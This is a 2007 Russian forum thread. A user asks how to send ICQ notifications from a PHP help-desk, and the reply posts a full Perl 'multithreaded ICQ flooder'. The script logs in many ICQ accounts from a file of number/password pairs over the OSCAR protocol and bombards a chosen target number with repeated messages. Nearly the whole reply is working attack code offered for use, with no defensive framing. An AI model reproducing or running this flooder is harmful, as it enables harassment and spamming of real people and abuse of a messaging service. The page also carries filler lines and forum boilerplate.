Карта0
Карта1
Карта2
Карта3
Карта4
Карта5
Карта6
Карта7
Карта8
Карта9
Карта10
Карта11
Карта12
Карта13
Карта14
Карта15
Карта16
Карта17
Карта18
Карта19
Карта20
Карта21
Карта22
Карта23
Карта24
Карта25
Карта26
Карта27
Карта28
Карта29
Карта30
Карта31
Карта32
Карта33
Карта34
Карта35
Карта36
Карта37
Карта38
Карта39


Наш форум » Железо и софт. Вопросы и ответы. » Программирование » PHP и ICQ

Ответ
Старый 22.06.2007, 22:00   #1 (permalink)
Скриптописец
 
Аватар для Frozen
 
Регистрация: 28.01.2007
Адрес: Рязань
Возраст: 24
Сообщений: 85
Репутация: 1 Старожил 
Вопрос PHP и ICQ


Уважаемые товарищи программисты, подскажите, как можно организовать рассылку текстовых сообщений на ICQ UIN`ы. Меня начальник пинает, что бы я прикрутил к Help-Desk`у оповещение о новых заданиях и отчетах еще и по аське (спама подобного рода на почту и через смс ему мало ^_^) Кто-нибудь сталкивался с подобного рода решениями?
__________________
Мрмрмр... Я не йиффливый дракончик! И живу в коробке...
Frozen вне форума   Ответить с цитированием
Старый 23.06.2007, 03:23   #2 (permalink)
Баянист
 
Аватар для Acid
 
Регистрация: 15.02.2007
Адрес: ул. Горького
Возраст: 26
Сообщений: 144
Репутация: 24


Это правда на perl, но я думаю переделать будет не особо трудно =)
И так, Кроссплатформенный, многопоточный icq flooder.

Код:
#!/usr/bin/perl
##################################
##  Script for icq flood
##  thx to CyberLords for sample
##################################
use IO::Socket;
use IO::Handle;
use Thread;
use strict;

##### config #####
our $file = 'uins.txt'; # файл с записями вида uin;pass
our $flood = '22222208'; # кого флудим?
our $send_message='From Russia With Love :-p'; # текст сообщения
our $count = 100; # количество сообщений с одного уина
our $delay = 3; # максимальная задержка отправки сообщений
my $onlain = 4; # задержка между выходами уина в он-лайн(т.к. пока без прокси, маленьким ставить не советую)
##################
my (@threads, @strings);
my ($uin, $pass, $j, $sl);

open(F,$file); 
@strings=<F> or die print "$! ";
close(F);
$sl = scalar @strings * $onlain;
for ($j=0; $j < scalar @strings; $j++)
{
 ($uin, $pass) = split(/;/, @strings[$j]);
 $threads[$j] = Thread->new(\&icq_flood, $uin, $pass, ($sl -= $onlain)) if (($uin) && ($pass));
 sleep($onlain);
}

for ($j=0; $j < scalar @strings; $j++){$threads[$j] -> join();}

sub icq_flood{
  my ($uin, $password, $sleep, $server, $port) = @_;
  $server = $server || "login.icq.com";
  $port = $port || 5190;
  
  my %families_list= ( #расшифровка номеров групп сервисов
1 => "Generic service controls",
2 => "Location services",
3 => "Buddy List management service",
4 => "ICBM (messages) service",
5 => "Advertisements service",
6 => "Invitation service",
7 => "Administrative service",
8 => "Popup notices service",
9 => "Privacy management service",
10 => "User lookup service (not used any more)",
11 => "Usage stats service",
12 => "Translation service",
13 => "Chat navigation service",
14 => "Chat service",
15 => "Directory user search",
16 => "Server-stored buddy icons (SSBI) service",
19 => "Server Side Information (SSI) service",
21 => "ICQ specific extensions service",
23 => "Authorization/registration service",
34 => "Unknown",
133 => "Broadcast service - IServerd extension"
);
  my $client_id = "ICQBasic";
  my $socket = undef;
 
  my $i;
  my $answer_data; # ответ сервера
  my $auth_request; #посылаемый пакет

  my $FlAP_header; # заголовок FLAP пакета (сигнатура начала данных, номер канала, sequence number, длина данных)
  my $data; # данные пакета
  my $BOS_server_address; # ip основного сервера для работы с icq
  my $BOS_server_port; # порт сервера
  my $seq_num = int(rand(0xFFFF));
  
  $data= #(основнные данные)
"\x00\x00\x00\x01". #версия протокола
"\x00\x01".pack('n',length($uin)).$uin. #сигнатура уина, длина уина, уин
"\x00\x02".pack('n',length($password)).xor_password($passwor  d). #то же для пароля
"\x00\x03".pack('n',length($client_id)).$client_id. # то же для клиента
"\x00\x16".pack('n',2).pack('n',266). # версии клиента: мажор, минор, билд и тд
"\x00\x17".pack('n',2).pack('n',4). # -||-
"\x00\x18".pack('n',2).pack('n',65). # -||-
"\x00\x19".pack('n',2).pack('n',1). # -||-
"\x00\x1A".pack('n',2).pack('n',3281). # -||-
"\x00\x14".pack('n',4).pack('N',85). # -||-
"\x00\x0F".pack('n',2)."en". # язык клиента
"\x00\x0E".pack('n',2)."us"; # страна клмента

  $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  
  socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc  p')) or die "socket() failed: $!\n"; #создаём сокет
  connect(SOCK,sockaddr_in($port,inet_aton($server))  ) or return 0;
  SOCK->autoflush(1);
  sysread(SOCK,$answer_data,1024);
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
  if ($answer_data !~/\x8e\x00/) {
print "\n UIN $uin: Authorization error.\n";
}
  close(SOCK);

  $answer_data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/i;
  $BOS_server_address = $1;
  $BOS_server_port = $2;

  undef $data;
  undef $FlAP_header;
  
  $data="\x00\x00\x00\x01\x00\x06".pack('n',256).get_cookies($answer_data);
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x01".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;

  socket(SOCK,AF_INET,SOCK_STREAM,getprotobyname('tc  p')) or die "socket() failed: $!\n";
  connect(SOCK,sockaddr_in($BOS_server_port,inet_ato  n($BOS_server_address))) or return 0;
  SOCK->autoflush(1);
  sysread(SOCK,$answer_data,1024);
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
  
  undef $data;
  undef $FlAP_header;
  
  $data="\x00\x01\x00\x17".("\x00" x 7)."\x01\x00\x03\x00\x02\x00\x01\x00\x03\x00\x01\x00\x  15\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01\x00\x09  \x00\x01\x00\x0a\x00\x01";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,1024);
  
  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x06".("\x00" x 6);
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,2048);

  undef $data;
  undef $FlAP_header;
  
  $data="\x00\x01\x00\x08".("\x00" x 7)."\x01\x00\x02\x00\x03\x00\x04\x00\x05";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a"."\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;

  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x1e".("\x00" x 7)."\x06\x00\x04\x01\00\x00\x00";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;
  sysread(SOCK,$answer_data,2048);
  
  undef $data;
  undef $FlAP_header;

  $data="\x00\x01\x00\x02".("\x00" x 7)."\x01\x00\x03\x01\x10\x02\x8a\x00\x02\x00\x01\x01\x  01\x02\x8a\x00\x03\x00\x01\x01\x10\x02\x8a\x00\x15  \x00\x01\x01\x10\x02\x8a\x00\x04\x00\x01\x01\x10\x  02\x8a\x00\x06\x00\x01\x01\x10\x02\x8a\x00\x09\x00  \x01\x01\x10\x02\x8a\x00\x0a\x00\x01\x01\x10\x02\x  8a";
  $seq_num = 0 if $seq_num > 65535;
  $FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
  $auth_request=$FlAP_header.$data;
  print SOCK $auth_request;

  print "\n UIN: $uin ON-LINE.\n"; ### Эту строчку можно удалить :)
  sleep($sleep);
  for ($i=1; $i<$count; $i++)
  {undef $data;
undef $FlAP_header;

my $part1="\x00\x04\x00\x06".("\x00" x 6)."\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x00\x02".pack("w",length($flood)).$flood."\x00\x05";
my $part2="\x00\x00\xe4\x70\x7c\xbf\x67\xfd\x91\x6f\x09\x46\x  13\x49\x4c\x7f\x11\xd1\x82\x22\x44\x45\x53\x54\x00  \x00\x00\x0a\x00\x02\x00\x01\x00\x0f\x00\x00\x27\x  11";
my $part3="\x1b\x00\x07".("\x00" x 19)."\x03".("\x00" x 4)."\xe9\xff\x0e\x00\xe9\xff".("\x00" x 12)."\x01\x00\x00\x00\x01\x00".pack("v",length("$send_message\0"))."$send_message\x00".("\x00" x 4)."\xff\xff\xff\x00";
$data=$part1.pack('n',length($part2.$part3)+2).$pa  rt2.pack('n',length($part3)).$part3; # составляем данные, подставляя все TLV размеры
$data.="\x00\x03\x00\x00";
$seq_num = 0 if $seq_num > 65535;
$FlAP_header="\x2a\x02".pack('n',$seq_num++).pack('n',length($data));
$auth_request=$FlAP_header.$data;

    print SOCK $auth_request; 
sysread(SOCK,$answer_data,2048);
sleep(int(rand($delay)));
  }
}

sub xor_password() {
my ($password)=@_;
my @password_xor=("\xF3", "\x26", "\x81", "\xC4", "\x39", "\x86","\xDB", "\x92", "\x71", "\xA3", "\xB9", "\xE6", "\x53", "\x7A", "\x95","\x7C");
my $xored_password;
my $i=0;

foreach(split(//,$password)) {
$xored_password.=$_ ^ $password_xor[$i++];
$i=0 if $i eq @password_xor;
}
return $xored_password;
}

sub get_cookies() {
my ($data)=@_;
my $cookies;
my $i=0;
my $c=0;
foreach(split(//,$data)) {
$i=1 if($c eq "\x00" && $_ eq "\x06");
$cookies.=$_ if $i eq 1;
$c=$_;
}
return substr($cookies,3,length($cookies));
}
##################################
## (C)oded by BuH@LicH
##  just4fun...
##################################
Acid вне форума   Ответить с цитированием
Ответ




Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопросы по PHP timson Программирование 38 04.02.2011 20:48
Форум на PHP Warlock Программирование 6 30.08.2008 14:32
PHP Sun Программирование 15 01.04.2007 22:15
Движок сайта на PHP virus Программирование 9 13.03.2007 22:59


визитки флаеры, печать флаеров визиток, визитки бизнес
При копировании информации ссылка на источник обязательна!

Часовой пояс GMT +4, время: 04:27.
vBulletin® Version 3.8.2.Copyright ©2000 - 2012, Jelsoft Enterprises Ltd. Перевод: zCarot
Template-Modifications by TMS